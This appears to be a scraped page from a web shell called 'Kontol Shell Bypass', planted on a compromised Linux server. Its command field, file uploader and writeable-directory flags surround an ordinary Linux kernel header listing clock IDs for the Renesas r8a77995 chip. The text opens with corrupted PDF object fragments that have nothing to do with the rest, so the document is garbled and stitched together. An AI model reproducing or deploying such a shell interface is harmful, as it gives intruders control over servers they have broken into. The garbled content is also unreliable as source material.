%PDF- <> %âãÏÓ endobj 2 0 obj <> endobj 3 0 obj <>/ExtGState<>/ProcSet[/PDF/Text/ImageB/ImageC/ImageI] >>/Annots[ 28 0 R 29 0 R] /MediaBox[ 0 0 595.5 842.25] /Contents 4 0 R/Group<>/Tabs/S>> endobj ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY>endobj 2 0 obj<>endobj 2 0 obj<>endobj 2 0 obj<>endobj 2 0 obj<> endobj 2 0 obj<>endobj 2 0 obj<>es 3 0 R>> endobj 2 0 obj<> ox[ 0.000000 0.000000 609.600000 935.600000]/Fi endobj 3 0 obj<> endobj 7 1 obj<>/ProcSet[/PDF/Text/ImageB/ImageC/ImageI]>>/Subtype/Form>> stream

nadelinn - rinduu

Command :

ikan Uploader :
Directory :  /lib/modules/4.15.0-1044-aws/build/include/dt-bindings/clock/
Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 
Current File : //lib/modules/4.15.0-1044-aws/build/include/dt-bindings/clock/r8a77995-cpg-mssr.h
/*
 * Copyright (C) 2017 Glider bvba
 *
 * This program is free software; you can redistribute it and/or modify
 * it under the terms of the GNU General Public License as published by
 * the Free Software Foundation; either version 2 of the License, or
 * (at your option) any later version.
 */
#ifndef __DT_BINDINGS_CLOCK_R8A77995_CPG_MSSR_H__
#define __DT_BINDINGS_CLOCK_R8A77995_CPG_MSSR_H__

#include <dt-bindings/clock/renesas-cpg-mssr.h>

/* r8a77995 CPG Core Clocks */
#define R8A77995_CLK_Z2			0
#define R8A77995_CLK_ZG			1
#define R8A77995_CLK_ZTR		2
#define R8A77995_CLK_ZT			3
#define R8A77995_CLK_ZX			4
#define R8A77995_CLK_S0D1		5
#define R8A77995_CLK_S1D1		6
#define R8A77995_CLK_S1D2		7
#define R8A77995_CLK_S1D4		8
#define R8A77995_CLK_S2D1		9
#define R8A77995_CLK_S2D2		10
#define R8A77995_CLK_S2D4		11
#define R8A77995_CLK_S3D1		12
#define R8A77995_CLK_S3D2		13
#define R8A77995_CLK_S3D4		14
#define R8A77995_CLK_S1D4C		15
#define R8A77995_CLK_S3D1C		16
#define R8A77995_CLK_S3D2C		17
#define R8A77995_CLK_S3D4C		18
#define R8A77995_CLK_LB			19
#define R8A77995_CLK_CL			20
#define R8A77995_CLK_ZB3		21
#define R8A77995_CLK_ZB3D2		22
#define R8A77995_CLK_CR			23
#define R8A77995_CLK_CRD2		24
#define R8A77995_CLK_SD0H		25
#define R8A77995_CLK_SD0		26
#define R8A77995_CLK_SSP2		27
#define R8A77995_CLK_SSP1		28
#define R8A77995_CLK_RPC		29
#define R8A77995_CLK_RPCD2		30
#define R8A77995_CLK_ZA2		31
#define R8A77995_CLK_ZA8		32
#define R8A77995_CLK_Z2D		33
#define R8A77995_CLK_CANFD		34
#define R8A77995_CLK_MSO		35
#define R8A77995_CLK_R			36
#define R8A77995_CLK_OSC		37
#define R8A77995_CLK_LV0		38
#define R8A77995_CLK_LV1		39
#define R8A77995_CLK_CP			40

#endif /* __DT_BINDINGS_CLOCK_R8A77995_CPG_MSSR_H__ */

Kontol Shell Bypass